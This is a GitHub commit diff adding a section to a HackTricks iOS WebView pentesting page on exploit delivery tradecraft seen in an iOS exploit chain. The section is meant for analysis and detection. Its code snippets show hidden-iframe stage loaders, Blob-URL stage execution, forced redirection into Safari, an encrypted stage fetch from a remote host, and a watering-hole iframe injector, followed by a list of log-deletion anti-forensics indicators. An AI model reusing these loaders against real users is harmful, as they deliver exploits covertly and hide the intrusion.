Skip to content

Commit 8d316e4

Browse files
authored
Merge pull request #2027 from HackTricks-wiki/update_The_Proliferation_of_DarkSword__iOS_Exploit_Chain__20260319_131003
The Proliferation of DarkSword iOS Exploit Chain Adopted by ...
2 parents cb662c6 + 272d2a0 commit 8d316e4

1 file changed

Lines changed: 106 additions & 1 deletion

File tree

src/mobile-pentesting/ios-pentesting/ios-webviews.md

Lines changed: 106 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -284,6 +284,110 @@ class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
284284
}
285285
```
286286
287+
288+
## iOS Web Exploit Delivery & Staging Tradecraft
289+
290+
The following patterns have been observed in real-world iOS Safari/WebKit exploit delivery chains and are useful for analysis, detection, and controlled emulation.
291+
292+
### Multi-stage loader via hidden iframes
293+
294+
A common staging pattern is to gate execution to avoid reinfection or analysis and then inject a hidden/off-screen `iframe` for the next stage:
295+
296+
```html
297+
<script>
298+
if (!sessionStorage.getItem('uid') && isTouchScreen) {
299+
sessionStorage.setItem('uid', '1');
300+
const frame = document.createElement('iframe');
301+
frame.src = 'frame.html?' + Math.random();
302+
frame.style.height = 0;
303+
frame.style.width = 0;
304+
frame.style.border = 'none';
305+
document.body.appendChild(frame);
306+
} else {
307+
top.location.href = 'red';
308+
}
309+
</script>
310+
```
311+
312+
A minimal staging page can inject the main loader via `document.write()`:
313+
314+
```html
315+
<script>
316+
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
317+
</script>
318+
```
319+
320+
Loader stages frequently pull subsequent JavaScript synchronously:
321+
322+
```javascript
323+
function getJS(fname) {
324+
const xhr = new XMLHttpRequest();
325+
xhr.open('GET', fname, false);
326+
xhr.send(null);
327+
return xhr.responseText;
328+
}
329+
```
330+
331+
Later stages can be executed in a worker-like context by building a Blob URL:
332+
333+
```javascript
334+
const workerCode = getJS('rce_worker_18.4.js');
335+
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
336+
const workerBlobUrl = URL.createObjectURL(workerBlob);
337+
```
338+
339+
### Forcing Safari to hit the WebKit/JSC surface
340+
341+
If a victim opens a lure in another browser, a protocol handler can force Safari:
342+
343+
```javascript
344+
if (typeof browser === 'undefined' && isIphone()) {
345+
location.href = 'x-safari-https://example.com/<redacted>';
346+
}
347+
```
348+
349+
### Encrypted stage fetch (ECDH + AES)
350+
351+
Some loaders encrypt exploit stages in transit. A minimal client flow is: generate an ephemeral ECDH keypair, POST the base64 public key, receive encrypted blobs, derive an AES key, decrypt, then decode to JavaScript:
352+
353+
```javascript
354+
const kp = generateKeyPair();
355+
const pubPem = exportPublicKeyAsPem(kp.publicKey);
356+
const xhr = new XMLHttpRequest();
357+
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
358+
xhr.setRequestHeader('Content-Type', 'application/json');
359+
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
360+
const { a, b } = JSON.parse(xhr.responseText);
361+
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
362+
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));
363+
```
364+
365+
### Watering-hole injection pattern
366+
367+
Compromised sites can load a remote script that builds an off-screen `iframe` and constrains it with a sandbox while still allowing script execution:
368+
369+
```html
370+
<script async src="https://static.example.net/widgets.js?token"></script>
371+
```
372+
373+
```javascript
374+
const iframe = document.createElement('iframe');
375+
iframe.src = 'https://static.example.net/assets/index.html';
376+
iframe.style.width = '1px';
377+
iframe.style.height = '1px';
378+
iframe.style.position = 'absolute';
379+
iframe.style.left = '-9999px';
380+
iframe.style.opacity = '0.01';
381+
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
382+
document.body.appendChild(iframe);
383+
```
384+
385+
### Post-exploitation anti-forensics indicators (JS implants)
386+
387+
- Temporary staging under `/tmp/<uuid>.<digits>/` with subfolders like `STORAGE`, `DATA`, and `TMP`.
388+
- Deletion of crash logs in `/var/mobile/Library/Logs/CrashReporter/` (often filtered by WebKit/SpringBoard substrings).
389+
- Recursive deletion of `/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/`.
390+
287391
## Debugging iOS WebViews
288392
289393
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
@@ -303,11 +407,12 @@ However, be mindful of the limitations:
303407
304408
## References
305409
410+
- [https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/](https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/)
411+
306412
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
307413
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
308414
- [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
309415
310416
{{#include ../../banners/hacktricks-training.md}}
311417
312418
313-

0 commit comments

Comments
 (0)